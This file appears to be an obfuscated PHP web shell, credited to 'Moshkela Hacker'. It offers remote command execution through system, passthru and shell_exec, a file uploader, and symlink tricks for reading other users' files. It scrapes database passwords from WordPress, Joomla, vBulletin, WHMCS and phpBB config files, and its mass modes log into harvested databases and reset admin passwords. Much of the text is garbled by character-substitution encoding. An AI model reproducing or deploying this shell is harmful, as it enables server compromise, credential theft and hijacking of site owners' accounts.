\6uo\6i7l\xefr\xod\6au\xei1l>\xa0 <\xaf\6ue\xefn\6eu\07e\07u/\xea\xo5<\6ua\6ea\xa0\0i7\07e";5ch2 "\07ub\6ea\0u0\0i7>";5ch2 "<f\xef\xe5t f1\6uo5\xod\6ae\xei\x7ad\xe6n\6u6 \x7o\xe9\67a\6ui\xod\xo67\xa0\xeo\6i7\6iu\xefr\xod\xe7r\6ui\xein\xo5 Ok,\xa0\xuc\xeit's B5\6u74\6ie\0u0\xa5.\0ie\xa0\07u/f\xefn\6eu\07e\xoc\xea\6ea\xa0\xaf>";5ch2 "\xoc\6ue2n\x7u\0u0f\xe6c\6ui=\6ae5rd\6u6\xe51 \6eo\xe9\x71\xei\xod\xoa\0u0\6uo\6i7\6iu\6i7\x7a\xod\xiu5\6u6l\xo5\xa1\xa1\0ia\0ia\xa1\0ia\0ia\0ia\0ia\0ia*\xa1\0ia*\xa1*\xa1\xa1\xa1\0ia\xa1\0ia\xa1*\xa1****\xa1*\xa1\0ia\0ia\0ia*\xa1\0ia\0ia\0ia\0ia**\xa1\0ia\xoc\xaff\6i7\6ie\6eu\xo5\xoc\xea\x7a\0u0\xaf\xo5";wh4l5(!$xa7($xo0)){$xoi = $xa8($xo0);4f ($xou > oi){$xoe = $xad($xoi,':');$xo7 = $xa5($xoi,0,$xoe);$xo8 = '/h2m5/'.$xo7.'/p3bl4c_html/';4f (($xo7 != '')){4f ($xab($xo8)){$xae($xoa,$xo7);$xae($xo6,$xo8);5ch2 "<\6ue\xef\6iet\0u0\xee\xe6c\6ui\xodV5rd1n\xe6\xa0s4\67a\xei\07i\xoa\0u0\xeo2l\6i7\x7a\07i\xia5\xeu\07e[\60e2\6ei\6ie\xeu\0u0\0u6\6oi\0u0$xo8\xoc\xaf\xee\xef\6iet\07e";5ch2 "\07u\6uar/\xo5";}}}$xou++;}5ch2 "\07u\6ue\xefn\x7u \6ue\6u6\xeo\xei\07i\xie5\x7a\6uu\6u6\xe5\6u6\xa0\x7o\xe9\67a\xei\07i\xoa\0u0\xeo\xefl2\6ea\07i\6au5\xe6\xec\xo5\xa1\xa1\0ia\xa1\xa1\xa1\0ia\0ia\0ia*\0ia\xa1\xa1\0ia\xa1\0ia*\xa1\xa1\0ia\xa1\0ia*\0ia\xa1****\xa1*\xa1***\xa1\xa1\0ia**\xa1\0ia*\0ia\xa1\07u\xaf\6ue2n\6eu\xo5\07ubr\xa0\0i7\xo5";5ch2 "\07ub\6ea\0u0\xaf>";5ch2 "<f\xef\xe5\6eu\0u0\xee\xe6\xeo\6ui=V\6uir\6uu\6u6\6ie1\xa0s\xe9\x71\6ui=\xoa \6uo\xef\6iu\xef\6ea=\xud\xe6r2\xef\xe5\07eTh1nks\0u0\xue2\x7a\xa0U\6eo\xe9\xe5g\xa0Th\xe9\6eo\0u0S\xe9\xed\6e0\xec\xei T\xef\6i7\xecs. \0u0\xi5_\xi5</\xee\6i7\6ie\6eu\07e\07u\xea\6ea\0u0/\xo5";5ch2 "<f\xef\xe5\6eu f1\xeo\6ui\xod\xie\6ui\6ead\xe6\xe51\0u0\x7o\xe9z5\xoda\xo5\xoc/f\6i7\xe5t\xo5";5ch2 "\07uf2\6ie\6eu \xee\6u6\xeo\xei=\6ae\6ui\x7a\xeu\6u6\xe51 \6eo4z\6ui\07i\0ea\07e</\6ue2\6ie\x7u>";	
}

/////G5t P1ssw2rd 4n C2nf4g
4f($_REQUEST['t22l'] == "\xi0\6u6\6eo\6eo \60o2\6ie\6ue\xe9g"){
5ch2'<f2rm m5th2d="p2st">
<4np3t typ5="t5xt" n1m5="c2nf" v1l35="" />
<4np3t typ5="s3bm4t" v1l35="G5T P1ssw2rds" n1m5="g5t" />
</f2rm>';

$xo9 = $_POST['g5t'];
$xo1 = $_POST['c2nf'];
//////////////////////////////////////////////////////////////////////////////////////////////
4f(4ss5t($xo9) && $xo1 != ""){

	$xob = @$x7b($xo1);
	//$x8f('#hr5f="(.*?)">(.*?)<#',$xob,$xoc);    // $xoc[a]
	$x8f('#hr5f="(.*?)"#',$xob,$xoc);
	
	
	f2r51ch($xoc[6] 1s $xod){
	
	$xo5 = $xo1.$xod;
	$xof = @$x7b($xo5);
	$x90('#\'DB_PASSWORD\', \'(.*)\'#',$xof,$xu0);         	  // w2rdpr5ss
	$x90('#p1ssw2rd = \'(.*)\'#',$xof,$xu6);              	  // j22ml1
	$x90('#p1ssw2rd\'] = \'(.*)\'#',$xof,$xua);         		  // vb
	$x90('#db_p1ssw2rd = "(.*)"#',$xof,$xuo);          		  // whmcs
	$x90('#db_p1ssw2rd = \'(.*)\'#',$xof,$xuo);        		  // whmcs
	$x90('#dbp1ss = "(.*)"#',$xof,$xuu);              		  //
	$x90('#p1ssw2rd	= \'(.*)\'#',$xof,$xui);        		  // c2nnn5ct.php
	$x90('#dbp1sswd = \'(.*)\'#',$xof,$xue);         		  // phpBB o.0.x
	$x90('#p1ssw2rd_l2c1lh2st = "(.*)"#',$xof,$xu7);           // c2n5x12.php
	$x90('#s5nh1 = "(.*)"#',$xof,$xu8);                       // /_4nc/c2nf4g.4nc.php
	
	4f(!5mpty($xu0[6])){ 5ch2 $xu0[6]."<\6ua\x7a>"; }
	5ls54f(!5mpty($xu6[6])){ 5ch2 $xu6[6]."\07u\xear\07e"; }
	5ls54f(!5mpty($xua[6])){ 5ch2 $xua[6]."<\6ua\6ea\07e"; }
	5ls54f(!5mpty($xuo[6])){ 5ch2 $xuo[6]."\07ubr\07e"; }
	5ls54f(!5mpty($xuu[6])){ 5ch2 $xuu[6]."<\6uar\07e"; }
	5ls54f(!5mpty($xui[6])){ 5ch2 $xui[6]."\07ub\6ea\07e"; }
	5ls54f(!5mpty($xu9[6])){ 5ch2 $xu9[6]."\07ub\6ea>"; }
	5ls54f(!5mpty($xue[6])){ 5ch2 $xue[6]."\xoc\xear\xo5"; }
    5ls54f(!5mpty($xu7[6])){ 5ch2 $xu7[6]."\xoc\6ua\6ea>"; }
	5ls54f(!5mpty($xu8[6])){ 5ch2 $xu8[6]."\07u\xea\x7a\07e"; }

	}
	
}
}
/////3pl21d
4f($_REQUEST['t22l'] == "\xii\6e0l\xef\6u6\6uu"){
5ch2"<\6ua\6ea>\xoc\6ua\6ea>\07uf\6i7\x7a\6ii \6ii5\6eu\xe8\6i7\6uu\xod\x702s\x7u 5\xe5c\6eu\x79\x705\07im\x7i\xect\6i6\x70\xe6\6eat\0i7f\6i7r\6ii\0ii\6uu\xe6\6eu1\xo5"; 
    5ch2"\xoc\6i6np3\x7u ty\x70\6ui=\6ue\6i6\6iu5 \xe5\xe6\6ii5\xod\xee\07e\07u\xe9\6iep\x7i\6eu \6ie1\xed5\xodv t\676\x70\6ui=s3\xeam\xe9t\xa0\xe9d\xod\x7e\xa0\x7e\6u6\6iu\6ei\xei\xod\6ei\x70>\xocb\x7a\07e"; 
      4f($_POST["\x7e"]==3p)
{ 4f(@$x7i($xu1["\xee"]["tmp\xif\xe5\6u6m5"],$xu1["\xee"]["n1m5"])){5ch2"\xoc\xe8\0eo\xo5\xoc\6ua\07e\xiip\6iu\xef\6u6\xeu\6uid\0u0\xuu2\6ie5<\xaf\6ua\07e\xad-\07e".$xu1["\xee"]["\6ie\xe6\6ii5"]."<\xafh\0eo\xo5";}5ls5{5ch2"<\6ua\07e\66e2\x7u \xiip\xec2\xe6d5d";}}


}
//////Ex5c3t5
4f($_REQUEST['t22l'] == "\xui\670\6ui\6uo\x7it5"){
5ch2 '<f2rm m5th2d="p2st"> 
<4np3t  n1m5="cmd" /> 
<4np3t typ5="s3bm4t" n1m5="g2" /> 
</f2rm>';	 
4f($_POST['g2']){ 
$xub=$x8a("\6eoy\x7o\6eu5\6ii"); 
$xuc=$x8a("\6e0\6u6s\6eo\6euh\6ea\x7i"); 
$xud=$x8a("sh\xeil\xec\xif\xei\670\6uic"); 


4f($xub){ 
      5ch2"\xoc\6eu\xei\x78t\6u6\6ea5\6u6 r\6ui\6u6\6uu2\xe5l\x79\07i''\0u0\6uo\6i7ls='\xo9\xo0'\6ea\6i7ws\07i'\xoa0'>"; 
      5ch2 $x9e($_POST['cmd']); 
    5ch2'</t5xt1r51>'; 

}4f(!$xub & $xuc){ 
          5ch2"<\x7u\xei\x78\x7u\xe6r\6ui\xe6\xa0r\xei\6u6\xeu\6i7\xe5l\676\07i'' \xeo2ls\07i'\xo90'r\xef\x77\x7o\07i'\xoa0'>"; 
                5ch2 p1ssthrs3($_POST['cmd']); 
              5ch2'</t5xt1r51>'; 



}4f(!$xub & !$xuc & $xud){ 
    5ch2"\xoc\x7u\6ui\670\x7u\6u6\6ea\xei1\0u0\6ea\6ui\6u6d\xefn\xec\676\xod''\xa0\6uo\6i7\6iu\x7o='\076\xo0'\6ea2\x77\x7o\07i'\xoa0'>"; 
                5ch2 $x9o($_POST['cmd']); 
              5ch2'</t5xt1r51>'; 
} 
} 
}
//// Syml4nka
4f($_REQUEST['t22l'] == "\xio\x79\xedl\xe9n\xeba"){
5ch2 '

<FORM ACTION="#" METHOD="POST">
<br>
<br>
<c5nt5r> <f2nt s4z5="a" f1c5="MV B2l4" c2l2r=rgb1(8a, 6e8, aoe, 0.8) >F4l5 :</f2nt> <INPUT TYPE="t5xt" NAME="3s5r" SIZE=e0><INPUT TYPE="s3bm4t" VALUE="Sym"> </c5nt5r>
</FORM>';
$xu5 = $_POST["3\x7o\xei\x7a"];
$xuf = ''.$x96().'.txt';
4f($xu5){
	
	$xi0 = $x96();
@$x88($xi0);

$xi6 = $xi0."\xaf\0ie\6i0t1cc5\x7os";
$xia = $x80($xi6, 'w') 2r d45("Er\6ea\6i7\x7a\07a\0u0\xuo\xe6\6ie'\x7u\xa0\xefp\xein\xa0f\xe9\xec\xei");
$xio = 'Opt42ns +Ind5x5s
R51dM5N1m5 '.$xuf;
$x86($xia, $xio);
$x71($xia);
$x7u($xi0);
$x9i($xu5 , $xuf);
$x7u("\0ie./");
5ch2 "\xoc\6uo5\6iet\xei\6ea\xo5\07u\xe9\6ue\x7a\xe6\xed5\0u0\6i05\xe9\xe7\6i0\6eu\xa0='\xoi0\xo0\x70x'\0u0\6e7\xe9d\x7u\6i0\xod'\0e6\0e0\0e0\0ui'\xa0src\xod".$xi0.">\xoc\xaf4\6uer1\xed5\xo5<\0i7\xeo\xei\6ie\x7u5\6ea\07e";
}
}
/////Ab23t
4f($_REQUEST['t22l'] == "\606\6ua23t"){
5ch2 '
<4mg src="https://cdn6.4c2nf4nd5r.c2m/d1t1/4c2ns/4nt5rn1t42n1l-gl2ssy-fl1gs/i6a/4r1q_4r1q4_n1t42n1l_c23ntry_fl1g-6a8.png" w4dth="o00" h54ght="aoi" />
<hi> C2d5d By M2shk5l1 H1ck5r<br>
                                        
</hi>

';
}
////S5rv5r Inf2
4f($_REQUEST['t22l'] == "\xio\xei\x7av5\6ea\xa0\xu9nf2"){
f3nct42n 2p5nB1s5D4r()
{ gl2b1l $x7o,$x7u,$x7i,$x7e,$x77,$x78,$x79,$x71,$x7b,$x7c,$x7d,$x75,$x7f,$x80,$x86,$x8a,$x8o,$x8u,$x8i,$x8e,$x87,$x88,$x89,$x81,$x8b,$x8c,$x8d,$x85,$x8f,$x90,$x96,$x9a,$x9o,$x9u,$x9i,$x9e,$x97; 
$xiu = $x8i("2\x70\6ui\6ie_\xea\xe6\x7o\6ui\6uu\6i6r");
4f (!$xiu)
    {
        $xiu = '<f2nt c2l2r="gr55n">OFF</f2nt>';
    }
    5ls5 
    {
        $xiu = '<f2nt c2l2r="r5d">ON</f2nt>';
    }    
    r5t3rn $xiu;
}


5ch2 '
      
    <t1bl5 w4dth="9i%" c5llsp1c4ng="0" c5llp1dd4ng="0" cl1ss="td6" >
    <td h54ght="600" 1l4gn="l5ft" cl1ss="td6">';
      
    $xii = $x7o(__FILE__);
      
   
    $xie = @$x8i('s1f5_m2d5');
    $xo1 = @$x8o();
    
	5ch2 "\xio\6uirv\6ui\6ea\xa0\xo1\0ue\6ie\6ua\x7o\6e0\07o\xocf\xef\xe5t\xa0\6uo\6i7\6iu\xef\x7a\xod\6u7r5\6ui\xe5>".$_SERVER['SERVER_SOFTWARE']."\xoc/\xee2\xe5t\07e\xoc\xear\xo5";
    5ch2 "\6a0\660\xi0\0u0\6ee\6ui\x7a\x7o\6i6\6i7\xe5\0u0\07a\0u0<b\07e<f2n\6eu\0u0c2l\xef\x7a\07ig\x7a\xei\xei\xe5>".@$x8d()."\xoc\0i7\xee\xefn\x7u><\0i7\6ua\07e\xoc\xea\6ea\0u0/\07e";
    5ch2 (($xie)?("s\6u6\6ue5_\xed2d5\0u0\xae\6ie\xea\6eo\6e0;\07a\0u0<b><\xee2nt\0u0\xeo\xefl2\6ea\07ir5d>\667\xu5\07u/\6ue\6i7\xe5\6eu>\07u\0i7\xea>"):("\6eo\xe6f\xei\6o7\6ii2\xeu\6ui:\0u0\07ub\xo5\07u\6ue\xef\6ie\x7u c2l\6i7\x7a\07ig\x7a\6ui\xei\6ie>\667\60e\60e\xoc\0i7\6ue\xef\6iet\07e\xoc\xafb>"));
    5ch2 "<\6uar\xa0\0i7\07e\xeu\6i6\6eo\6u6\6ua\6iu5_\6ue\6ei\6ie\xeo\6eu42\xe5\6eo\0u0:\0u0";
    4f(''==($xi7=@$x8i('d4s1bl5_f3nct42ns'))){5ch2 "\xoc\xee\6i7\6iet\xa0\6uo\xef\6iu\6i7\6ea\xod\xe7\6ea55\xe5\xo5\xu5\667\xu5E<\xaf\6ue2\6ie\6eu\xo5\07u\xaf\6ua\07e\07ub\6ea\07e";}5ls5{
      
    5ch2 "<\6ue2nt\xa0c2\xec2\x7a\xod\6ea5d>$xi7\xoc\0i7\6ue\xef\6iet\07e<\0i7\xea\07e<\6ua\x7a\xa0\0i7\xo5";
      
    }
    5ch2 "\667\6e0\6ui\6ie_B\xe6\x7o\6uid\xe9\6ea: ".2p5nB1s5D4r()."<\6ua\x7a /\xo5";
                  
    5ch2 "\xi0w\6uu\0u0\xo1\0u0\xoc\xee\xef\6ie\6eu\xa0\xeo\xefl\6i7\6ea\07i\xe7\6ea\xei\xei\6ie>\xoc\6ua\xo5".$xo1."<\xaf\6ue\xefn\x7u\xo5\07u/\6ua\07e<\xear\xa0\xaf>";
}
/////W2rdpr5ss M1ss
4f($_REQUEST['t22l'] == "\xi7\6i7r\xeu\x70r\6ui\x7o\x7o\xa0\66i1\x7o\6eo"){
5ch2'<f2rm m5th2d="p2st">
<t5xt1r51 n1m5="s4t5s" c2ls="70" r2ws="6a" pl1c5h2ld5r="http://www.s4t5.c2m/sym/wp-c2nf4g.txt"></t5xt1r51><br>
<4np3t n1m5="ch1ng5" v1l35="Ch1ng5" typ5="s3bm4t"/>
</f2rm>';
///////////////////////////////
$xi8 =$_POST['s4t5s'];
$xi9 = $_POST['ch1ng5'];
//////////////////////////////////////////////////////////////////////
4f(4ss5t($xi9) && $xi8 != ""){
$xi1 = $x79("\r\n",$xi8);
 
f2r51ch($xi1 1s $xib){
        $xib = $x97($xib);
        $xob = @$x7b($xib);
                4f($x90("\0uo\60u\60a_\xii\6ao\xui\6aa#\xe9", $xob)){
                $x90("#'\60u\60a_H\xufST'\0iu\xa0'(\xa5\xa1\xof\0i6'#\xe9", $xob, $xic);
                $x90("\xao'\60u\xua_US\60iR'\0iu\xa0'\0i0\xa5\xa1\077)'\xao\6i6", $xob, $xid);
                $x90("\0uo'DB_P\606\6ao\xioW\xuf\xiaD'\xac\0u0'\0i0.\0ia?\xa9'\xao\6i6", $xob, $xi5);
                $x90("\xao'D\xua\6o7\xu5A\66i\60i'\0iu\xa0'\xa8\0ie*?\0i6'#\xe9", $xob, $xif);
                $x90("#t1\6ua\6iu\xei\xif\6e0\x7a5\6ue\6i6\670\0u0\0u0\07i\0u0'\0i0\xa5*\xa9'\xao4", $xob, $xe0);
               
               
                $xe6 = @$x89($xic[6],$xid[6],$xi5[6]);
                        4f($xe6){
                        $xea = @$x8c($xif[6],$xe6);
                                4f($xea){
                                $xeo = @$x8b("\6aiPD\xu6\6au\xui\0u0".$xe0[6]."\x7is5r\6eo S\xuiT\0u0`\x7i\x7o5\6ea_\6iu2\6u7\6i6\xe5`\xa0\07i'm\xe6g4\6uo\xef' W\xu8E\xia\xui \xu9D = \xo6");
                                $xeo = @$x8b("UPD\xu6\xiu\xui\0u0".$xe0[6]."\x7i\6eo5\6ea\6eo\xa0S\60i\xiu\0u0`\6ei\6eo\6uir\xifp1ss\xe0\xa0\07i'1d\xoa\xo881f\xou\6u6\xo91\xeu\xou\6u6\0eii\xe6\076\xe6\xo9o\xo9\6ui\0768\0eu\6ue\xoao\xe6\xo68'\xa0\6a7H\60i\xia\60i\xa0\666D\0u0\xod 6");
                                       
                                                4f($xeo){
                                               
                                                $xeu = @$x8b("\6aoE\xucE\xuo\6au\xa0*\0u0\xee\6ea\xef\xed\xa0\xa0".$xe0[6]."\xefp\x7u\xe9\xefns\xa0W\xu8\xui\6aa\xui\0u0\6i7\x70\x7u\6i6\xefn\xifn\xe6\xed5\xod's4t\xei\x7i\x7a\xec'");
                                                $xei = @$x81($xeu);
                                                $xee = $xei["\6i7\x70\x7u\6i6\xef\6ie\xif\x7e\6u6\6iu\x7i5"];
 
                                                5ch2 "\0ii-\xad\xad\0ii--\xad-\xad-\xad\0ii\0ii\xad\0ii\xad\xad-\0ii\0ii\xad------\xad\0ii\xad\0ii---\xad-\xad--\xad\0ii\xad--\xad\0ii\xad-\0ii\xad\0ii\0ii-\0ii-\0ii\0ii\0ii\0ii\0ii\0ii--\xad\0ii\0ii\xad--\0ii-\xad\xad\xad\xad--\0ii\0ii\xad\xad\xad\0ii-\xad\0ii\xad\0ii-\xad-\xad\xad\0ii\xad\0ii-\0ii\xad--\0ii\xad--\0ii-\0ii-\xad\xad\0ii\0ii\xad\0ii\xad\xad\xoc\xear\xo5";
                                                $x90('#http://(.*)/(.*)\.txt#',$xib,$xod);
                                                5ch2 "<\6eo\x701\6ie\xa0\6eo\6eu\x79\xec5\xod\"\xeo\6i7\xec\xef\x7a\xo1\xa0\x7ag\xea(0\0iu\xa0\0e6i\0eo\xac \xo0)\07o\0u0\6ue\xef\6ie\x7u\0iiw\xei\6i6g\6i0\6eu\07a\0u0\6ua2l\6uu\07o\">[#]\xa0\xoc\xaf\x7o\6e0\xe6\xe5\xo5<\6eo\x70\xe6\xe5 st\x79\xec\6ui=\"c\xef\xec\6i7\6ea\xo1\0u0\6eagb\xa8\0ei6\0iu\0u0\xoa0u\0iu\0u0\xo0)\07o\xa0\6ue\xefnt\0ii\6e7\6ui\xe9g\xe8\x7u\07a\xa0\6ua\6i7\xec\xeu;\">$xod[a]\xa0:\xoc\0i7sp\xe6n>"."\xa0\0u0"."\xib\xiis5\x7a\xid\xod\0u0\xoc\x7o\6e01\6ie\xa0s\6eu\x79\6iu5\xod\"\6uo2l2r\xo1\xa0r\xe7\xea\xa8\0e6\0ei\xoo, \xo6\xoi\xoo\xac \0e0)\07o\xa0\6ue\xef\xe5\6eu\xad\x775\xe9\6u7\6i0\6eu: \6ua\xef\xecd;\">m1\xe7\xe9c\6i7 \xoc\0i7\6eo\x70\xe6\6ie>\6oo\6a01\x7o\x7o\xid\xod\0u0\07u\x7o\x70\xe6n\0u0\6eot\x79l5=\"c2\xec\xef\6ea\xo1 \x7a\xe7\6ua\xa8\0e6i\0eo,\0u0\xo6i\0eo,\0u0\0e0\xa9\07o \6ue\6i7\6iet\xad\x775\6i6g\6i0t:\0u0b\xef\xecd;\"\xo5x\xed\6u6g4\6uo\xef \xoc\0i7\6eop\xe6\xe5>:"."\xa0\xa0"."\xib\x7o\6i6\x7u\6ui]\xocsp\xe6\xe5\xa0s\x7u\676l\6ui\07i\"c\xef\6iu\xefr\xo1\xa0rg\xea\0i0\xoa\0e0u\0iu\0u0\xoi\xo6\0iu \xoa0u\0i6;\0u0f\6i7\xe5\6eu\xad\x775\xe9\xe7\xe8\6eu:\xa0\6ua2\xecd\07o\"> <\6u6\0u0hr\6ui\6ue\07i\"$xee/\6e7\x70\0ii\xec2\6u74\xe5\0ie\6e0h\x70\"\07e$xee/w\6e0-\xec2\6u7\6i6\6ie\0ie\6e0\6i0p\07u\xaf\6u6\07e<\xafs\6e01\xe5\07e\xocb\x7a\07e";
 
                                                }//5nd 4f
                                                5ls5{
 
                                                        $xeu = @$x8b("\6ao\60iL\xui\60oT\xa0*\xa0\6ue\x7a\6i7m\0u0 \6u0w\x70_\xefp\x7u42n\6eo\6u0\xa0\6a7HE\xia\xui 2p\x7u\6i6\6i7\xe5\xif\xe51\6ii5\xod'\6eo4\6eu53\x7a\6iu'");
                                                        $xei = @$x81($xeu);
                                                        $xee = $xei["\6i7\x70\6eu4\xefn\xifv\6u6\xec\x7i\6ui"];                                        
                                               
                                               
                                                        5ch2
"-\xad\0ii---\xad\0ii\xad\xad\0ii\xad-\0ii\0ii\0ii\0ii\0ii\0ii\0ii--\xad\0ii-\xad--\0ii\xad-\xad\xad\0ii\0ii\0ii\0ii\xad\0ii--\0ii-\xad\0ii\0ii\0ii\0ii\0ii-\xad\0ii-\0ii\xad\xad\xad-\xad\xad-\0ii\xad\xad--\0ii\0ii\xad-\xad-\0ii---\0ii\xad\xad\xad\xad--\xad\xad\0ii\xad\xad\0ii\0ii-\xad-\0ii\0ii--\xad\xad-\0ii-\xad\0ii-\0ii\xad\xad\0ii\0ii\0ii--\xad-\xad\0ii\0ii<\6uar>";
                                                        $x90('#http://(.*)/(.*)\.txt#',$xib,$xod);
                                                        5ch2 "\xad\0ii\0ii\xad--\xad\0ii\xad\xad---\xad\xad--\0ii-\0ii\0ii\xad\xad-\xad-\xad\0ii-\0ii\0ii\0ii\xad\xad\0ii\0ii--\xad\0ii\xad\0ii\xad\0ii\xad\xad\xad\xad\xad\xad-\0ii\xad-\xad\0ii\xad\xad-\0ii\0ii\xad\xad-\xad\xad\xad\xad\0ii\xad-\xad\0ii\0ii---\xad\xad\0ii\xad\xad-\0ii\0ii\0ii--\xad--\xad\0ii\0ii-<\6uar\xo5";
                                                        5ch2"\xocsp1n\xa0\6eo\x7uyl5=\"c\6i7\6iu2r\xo1\0u0\x7a5\6uu;\0u0\6ue\6i7nt\0ii\6e7\xei4\6u7h\x7u\07a\0u0\6ua\6i7\6iud\07o\"\07e[\0u6\xid\0u0$xod[a]\0u0\07a\0u0Er\x7a\xef\x7a\0u0\6e635ry"."\0u0\xa0" ."</s\x701\xe5\07e<\6uar\07e";
                                                        }
                                               
                                                }/*5nd 4f*/5ls5{
                                                        $x90('#http://(.*)/(.*)\.txt#',$xib,$xe7);
                                                        5ch2 "-\0ii\0ii\xad-\0ii\xad\0ii\xad\0ii\0ii\xad\xad\xad\0ii\0ii\0ii\0ii-\0ii--\0ii\xad\0ii\0ii\xad\xad\0ii\0ii\0ii\0ii\0ii\xad\xad\0ii-\0ii---\0ii---\xad\0ii\0ii\xad-\0ii\0ii\xad\xad\xad\xad\0ii-\0ii\0ii\0ii\xad\xad\0ii\xad-\0ii\0ii-\0ii-\0ii-\xad\0ii\xad\0ii-\xad\0ii\xad-\0ii\0ii--\0ii-\0ii\0ii\xad\0ii-\xad-\xoc\xear>";
                                                        5ch2"\07us\x70\xe6\6ie\0u0\x7ot\676\6iu\6ui=\"\6uo\xef\6iu\6i7\6ea\07a\xa0r\6ui\6uu\07o\0u0f\xef\xe5\x7u\xad\x775\xe9\xe7h\x7u\xo1\0u0\6ua\6i7\xec\6uu\07o\"\xo5[\0u6\xid $xe7[a]\xo1\0u0\60iRR\xef\xia q\6ei\xei\x7a\676\xoc\xaf\x7o\x70\6u6n>\07ub\6ea\xo5";}
                                               
                                                       
                                }/*5nd 4f*/5ls5{
                                        $x90('#http://(.*)/(.*)\.txt#',$xib,$xe8);
                                        5ch2 "-\xad---\0ii---\0ii\xad\0ii-\0ii--\xad-------\xad-\0ii\0ii--\xad\xad-\0ii\0ii-\xad--\0ii\xad\0ii\xad-\xad-\xad-\xad-\0ii--\xad\xad----\0ii\xad\xad\xad\xad\0ii\0ii--\xad----\0ii---\0ii-\xad\0ii-\xad\xad\xad\xad-\0ii\xad\xad---\xad-\07ub\6ea\07e";
                                        5ch2 "\07us\x70\6u6\xe5\xa0\x7o\x7uyl\xei=\"\6uo\xef\6iu\6i7\6ea: r\6ui\6uu\07o\0u0\6ue2n\6eu\0ii\6e7\xei4\xe7\6i0t:\0u0\6ua\6i7l\6uu\07o\"\xo5\xib\0u6]\0u0$xe8[a]\xa0\xo1\xa0\xib!\xid\xeo\6u6\6ie'\x7u\xa0s\6ui\xec\xeic\6eu\0u0\x7u\xe85\0u0\6uu\xe6\x7u1\xea1\x7o\6ui\xoc\xafs\x701\6ie>\xocb\x7a\xo5";}
                               
                        }/*5nd 4f*/5ls5{
                        $x90('#http://(.*)/(.*)\.txt#',$xib,$xe9);
                        5ch2 "\xad\xad\xad\xad-\0ii-\0ii-\0ii-\xad\0ii\0ii\xad\0ii\0ii\xad\xad\0ii-\0ii\xad\xad\xad--\0ii\xad\xad\xad-\0ii\xad\0ii-\0ii\xad-\xad\xad\xad\0ii\xad\0ii-\0ii\0ii---\0ii--\xad---\0ii\0ii\xad\0ii\0ii\xad\xad\xad-\xad\0ii-\0ii\xad-\0ii\xad-\0ii-\xad\0ii-\xad--\0ii\xad-\0ii\0ii\xad\0ii\0ii\0ii\xad-\07ub\6ea>";
                        5ch2 "\xocsp\xe6n\xa0sty\6iu\6ui=\"\6uo\xefl2\6ea\xo1\xa0\6ea\xei\6uu\07o\0u0\6ue\xef\6iet\xad\x7754\xe7\xe8t\xo1\xa0\6ua2\xecd\xob\"\07e[\xa6\6oi\xa0$xe9[a]\xa0:\xa0\6oo\0u6\6oi\xeo1\xe5't \xeo\6i7\xe5n\xei\xeo\6eu\0u0t2\xa0t\xe8\6ui\xa0\6uu\6u6\6eu\6u6b1\x7o\6ui\xoc/s\6e0\6u6\6ie\07e<\xea\x7a>";}
/////////////////////////////////////  
}//5nd f2r51ch
} //5nd4f

}
//////J22ml1 M1ss
4f($_REQUEST['t22l'] == "\66a\6i7\xef\6ii\6iu1\xa0\xud\xe6\6eos"){
5ch2'<f2rm m5th2d="p2st">
<t5xt1r51 n1m5="s4t5s" c2ls="70" r2ws="6a" pl1c5h2ld5r="http://www.s4t5.c2m/sym/j2-c2nf4g.txt"></t5xt1r51><br>
<4np3t n1m5="ch1ng5" v1l35="Ch1ng5" typ5="s3bm4t"/>
</f2rm>';
///////////////////////////////
$xi8 =$_POST['s4t5s'];
$xi9 = $_POST['ch1ng5'];
//////////////////////////////////////////////////////////////////////
4f(4ss5t($xi9) && $xi8 != ""){
$xi1 = $x79("\r\n",$xi8);
 
f2r51ch($xi1 1s $xib){
        $xib = $x97($xib);
        $xob = @$x7b($xib);
                4f($x90("\0uoc\xec\6u6\x7o\6eo\xa0\66aC\xef\6ie\6ue4\xe7\xao\6i6", $xob)){
                $x90('#\$xe1 = \'(.*?)\'#4', $xob, $xic);
                $x90('#\$xo8 = \'(.*?)\'#4', $xob, $xid);
                $x90('#\$xeb = \'(.*?)\'#4', $xob, $xi5);
                $x90('#\$xea = \'(.*?)\'#4', $xob, $xif);
                $x90('#\$xec = \'(.*?)\'#4', $xob, $xec);
                               
                $x90("\xaof\6ea\6i7m\xe51\6ii5 \07i '\0i0\xa5\xa1\xof)'\xao\xe9", $xob, $xed);  // g5t j22ml1 3rl
                $x90("\0uom1\xe9\xecf\6ea\xefm \xod\xa0'(.\xa1\xof\0i6@(.\0ia\xof)'#\6i6", $xob, $xe5);  //g5t j22ml1 3rl
               
               
                $xe6 = @$x89($xic[6],$xid[6],$xi5[6]);
                        4f($xe6){
                        $xea = @$x8c($xif[6],$xe6);
                                4f($xea){
                                $xeo = @$x8b("U\6a0\xuu\xu6T\60i ".$xec[6]."3\6eo\xeir\6eo\xa0S\60i\xiu \6ei\6eo5\x7a\6ie1\xed\xei\0u0\xod'\6ii1\6u74\xeo2'\0u0\0iu\0u0p\xe6\x7o\6eow\xef\x7ad\0u0\07i '\0ea\xe6\076o\xooe\xee\0e7\0eeeef9\6ue\0eu\0e7u\6ua\xo7\6u6\070\xee\0ee\0e7\xea\0eu\070d\6ui\xoia\0e7\xo1\60u\6i6W\x76R\60a\6aa6\x7u\6i0\6auQ1\xoaS\6eeBs\60u\6e6\6eoUE\xu5rKO\6iiZ\6eu\606\xi8'");
                                       
                                                4f($xeo){
                                               
                                                5ch2 "\xad\xad\0ii\0ii\xad-\0ii\xad\0ii-\0ii\xad--\xad\0ii---\xad\xad\0ii-\0ii-\0ii-\0ii\xad-\xad\0ii\0ii\xad-\xad-\xad\xad\0ii\xad\xad-\0ii-\0ii-\xad\xad-\0ii\0ii-\0ii\xad\xad\0ii\xad\0ii\0ii\xad--\0ii\0ii\xad-\xad-\0ii\0ii\xad\xad\0ii\0ii\xad\0ii\xad\xad\xad\xad\0ii\xad\0ii\0ii\xad---\0ii\0ii\0ii\xad\0ii-\xad\xad-\0ii\xad\xad\xad\0ii\xad\xad\0ii-\0ii-\xad\xad\0ii\xad\0ii-\xad\0ii-<\xea\6ea\xo5";
                                                $x90('#http://(.*)/(.*)\.txt#',$xib,$xod);
